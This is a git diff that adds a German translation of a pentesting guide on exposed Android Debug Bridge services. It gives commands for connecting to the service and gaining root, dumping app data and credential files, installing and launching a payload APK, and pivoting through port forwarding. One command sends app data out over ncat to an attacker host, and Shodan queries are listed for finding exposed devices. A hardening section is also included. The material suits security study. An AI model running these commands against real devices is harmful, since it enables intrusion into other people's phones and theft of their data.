Translated ['src/network-services-pentesting/5555-android-debug-bridge.m

This commit is contained in:
Translator 2025-08-19 00:38:49 +00:00
parent 56a776e1bf
commit 3d0afe1881

View File

@ -6,40 +6,141 @@
Von [den Dokumenten](https://developer.android.com/studio/command-line/adb):
**Android Debug Bridge** (adb) ist ein vielseitiges Befehlszeilenwerkzeug, mit dem Sie mit einem Gerät kommunizieren können. Der adb-Befehl erleichtert eine Vielzahl von Geräteaktionen, wie z.B. **das Installieren und Debuggen von Apps**, und bietet **Zugriff auf eine Unix-Shell**, die Sie verwenden können, um eine Vielzahl von Befehlen auf einem Gerät auszuführen.
Android Debug Bridge (adb) ist ein Befehlszeilenwerkzeug zur Kommunikation mit Android-basierten Geräten und Emulatoren. Typische Aktionen umfassen das Installieren von Paketen, Debugging und das Erhalten einer interaktiven Unix-Shell auf dem Gerät.
**Standardport**: 5555.
- Historischer Standard-TCP-Port: 5555 (klassischer "adb tcpip"-Modus).
- Modernes kabelloses Debugging (Android 11+) verwendet TLS-Paarung und mDNS-Dienstentdeckung. Der Verbindungsport ist dynamisch und wird über mDNS entdeckt; er muss nicht 5555 sein. Die Paarung erfolgt mit adb pair host:port gefolgt von adb connect. Siehe die untenstehenden Hinweise zu offensiven Implikationen.
Beispiel nmap-Fingerabdruck:
```
PORT STATE SERVICE VERSION
5555/tcp open adb Android Debug Bridge device (name: msm8909; model: N3; device: msm8909)
```
## Verbinden
Wenn Sie den ADB-Dienst, der auf einem Port eines Geräts läuft, finden und sich damit verbinden können, **können Sie eine Shell im System erhalten:**
Wenn Sie ADB exponiert und erreichbar finden, versuchen Sie schnell zu verbinden und zu enumerieren:
```bash
adb connect 10.10.10.10
adb root # Try to escalate to root
adb shell
adb connect <ip>[:<port>] # Default is 5555 for classic mode
adb devices -l # Confirm it shows as "device" (not unauthorized/offline)
adb shell # Get an interactive shell (uid usually shell)
whoami; id; getprop ro.debuggable ro.secure service.adb.tcp.port
adb root || true # Works on eng/userdebug/insecure builds, many emulators/IoT
```
Für weitere ADB-Befehle siehe die folgende Seite:
- Wenn das Gerät die ADB-Authentifizierung durchsetzt (ro.adb.secure=1), müssen Sie vorab autorisiert sein (USB RSA-Authentifizierung) oder die drahtlose Debugging-Paarung von Android 11+ verwenden (die einen einmaligen Code erfordert, der auf dem Gerät angezeigt wird).
- Einige Herstellerbilder, Engineering-/Userdebug-Bauten, Emulatoren, Fernseher, STBs und Entwicklungskits setzen adbd ohne Authentifizierung oder mit adbd, das als Root ausgeführt wird, frei. In diesen Fällen landen Sie normalerweise direkt in einer Shell oder Root-Shell.
Für eine allgemeine ADB-Befehlsreferenz siehe:
{{#ref}}
../mobile-pentesting/android-app-pentesting/adb-commands.md
{{#endref}}
### App-Daten dumpen
## Schnelle Post-Exploitation
Um die Daten einer Anwendung vollständig herunterzuladen, können Sie:
Sobald Sie eine Shell haben, validieren Sie die Berechtigungen und den SELinux-Kontext:
```bash
# From a root console
chmod 777 /data/data/com.package
cp -r /data/data/com.package /sdcard Note: Using ADB attacker cannot obtain data directly by using command " adb pull /data/data/com.package". He is compulsorily required to move data to Internal storage and then he can pull that data.
adb pull "/sdcard/com.package"
id; getenforce; getprop ro.build.type ro.product.model ro.build.fingerprint
```
Sie können diesen Trick verwenden, um **sensible Informationen wie Chrome-Passwörter abzurufen**. Für weitere Informationen dazu überprüfen Sie die Informationen in den bereitgestellten Referenzen [**hier**](https://github.com/carlospolop/hacktricks/issues/274).
### Auflisten und Erfassen von Daten
- Liste von Drittanbieter-Apps und Pfaden:
```bash
pm list packages -3
pm path <pkg>
```
- Wenn du Root hast (adb root oder su funktioniert), kannst du direkt auf /data zugreifen. Andernfalls bevorzuge run-as für debugbare Apps:
```bash
# Ohne Root, für eine debugbare App
run-as <pkg> sh -c 'cd /data/data/<pkg> && tar cf - .' | tar xf - -C ./loot/<pkg>
# Mit Root
cp -a /data/data/<pkg> /sdcard/<pkg>
exit
adb pull "/sdcard/<pkg>"
```
- Nützliche Systemartefakte (Root erforderlich):
- /data/system/users/0/accounts.db und verwandte AccountManager-Daten
- /data/misc/wifi/ (Netzwerkkonfigurationen/Schlüssel in älteren Versionen)
- App-spezifische SQLite-Datenbanken und shared_prefs unter /data/data/<pkg>
Du kannst dies verwenden, um sensible Informationen abzurufen (z. B. App-Geheimnisse). Für Hinweise zu Chrome-Datenüberlegungen siehe das Problem, das [hier](https://github.com/carlospolop/hacktricks/issues/274) erwähnt wird.
### Codeausführung und Payload-Zustellung
- Installiere und gewähre automatisch Laufzeitberechtigungen:
```bash
adb install -r -g payload.apk # -g gewährt alle im Manifest deklarierten Laufzeitberechtigungen
adb shell monkey -p <pkg> -c android.intent.category.LAUNCHER 1
```
- Starte Aktivitäten/Dienste/Broadcasts direkt:
```bash
adb shell am start -n <pkg>/<activity>
adb shell am startservice -n <pkg>/<service>
adb shell am broadcast -a <action>
```
### Portweiterleitung und Pivotierung
Selbst ohne Root kann adb lokale Ports auf Geräteports und umgekehrt weiterleiten. Dies ist nützlich, um auf lokal auf dem Gerät gebundene Dienste zuzugreifen oder Angreiferdienste dem Gerät zur Verfügung zu stellen.
- Weiterleitung Host->Gerät (Zugriff auf einen geräte-lokalen Dienst von deinem Host):
```bash
adb forward tcp:2222 tcp:22 # Wenn das Gerät SSH ausführt (z. B. Termux/Dropbear)
adb forward tcp:8081 tcp:8080 # Exponiere den lokalen Debug-Server der App
```
- Umgekehrte Weiterleitung Gerät->Host (lass das Gerät einen Dienst auf deinem Host erreichen):
```bash
adb reverse tcp:1080 tcp:1080 # Geräte-Apps können jetzt host:1080 als 127.0.0.1:1080 erreichen
```
- Datei-Exfiltration über Sockets (keine sdcard-Schreibvorgänge):
```bash
# Auf dem Host: hören
ncat -lvp 9000 > dump.tar
# Auf dem Gerät: Verzeichnis als tar senden (Root oder run-as wie zutreffend)
adb shell "tar cf - /data/data/<pkg>" | ncat <HOST_IP> 9000
```
## Drahtloses Debugging (Android 11+)
Modernes Android implementiert TLS-geschütztes drahtloses Debugging mit geräteseitiger Kopplung und mDNS-Entdeckung:
```bash
# On the device: Developer options -> Wireless debugging -> Pair device with pairing code
# On attacker host (same L2 network, mDNS allowed):
adb pair <device_ip>:<pair_port> # Enter the 6-digit code shown on device
adb mdns services # Discover _adb-tls-connect._tcp / _adb._tcp services
adb connect <device_ip>:<conn_port>
```
Notizen
- Ports sind dynamisch; gehen Sie nicht von 5555 aus. mDNS-Dienstenamen sehen aus wie:
- _adb-tls-pairing._tcp (Pairing)
- _adb-tls-connect._tcp (gepaart verbinden)
- _adb._tcp (legacy/plain)
- Wenn mDNS gefiltert ist, kann das klassische USB-unterstützte Aktivieren möglicherweise bei einigen Builds noch funktionieren: `adb tcpip 5555` dann `adb connect <ip>:5555` (bis zum Neustart).
Offensive Implikationen: Wenn Sie mit der Benutzeroberfläche des Geräts interagieren können (z. B. physischer Zugriff oder falsche Konfiguration von mobilem MDM), um das kabellose Debugging zu aktivieren und den Pairing-Code anzuzeigen, können Sie einen langlebigen, gepaarten ADB-Kanal ohne Kabel einrichten. Einige OEMs bieten ADB über TCP in Engineering-/Entwicklungsbildern ohne Pairing an immer überprüfen.
## Härtung / Erkennung
Verteidiger sollten davon ausgehen, dass jeder erreichbare adbd (TCP) ein kritisches Risiko darstellt.
- Deaktivieren Sie ADB und kabelloses Debugging, wenn nicht benötigt. Widerrufen Sie USB-Debugging-Berechtigungen in den Entwickleroptionen.
- Stellen Sie sicher, dass die Netzwerkpolitik eingehendes TCP/5555 und mDNS-basiertes ADB-Discovery in nicht vertrauenswürdigen Segmenten blockiert.
- Auf Geräten unter Ihrer Kontrolle:
```bash
settings put global adb_enabled 0
setprop service.adb.tcp.port -1 # TCP-Listening deaktivieren (oder verwenden: adb usb)
stop adbd; start adbd # Daemon neu starten
```
- Überwachen Sie mDNS-Einträge `_adb._tcp`, `_adb-tls-connect._tcp`, `_adb-tls-pairing._tcp` in Unternehmensnetzwerken und warnen Sie vor unerwarteten 5555-Listenern.
- Inventarisieren Sie unsichere Builds: `getprop ro.debuggable`, `ro.build.type` und `ro.adb.secure`.
## Shodan
- `android debug bridge`
- android debug bridge
- port:5555 product:"Android Debug Bridge"
## Referenzen
- Android Developers Android Debug Bridge (adb): https://developer.android.com/studio/command-line/adb
- AOSP ADB über WiFi, Pairing und mDNS-Dienstenamen: https://android.googlesource.com/platform/packages/modules/adb/+/refs/tags/android-vts-15.0_r2/docs/dev/adb_wifi.md
{{#include ../banners/hacktricks-training.md}}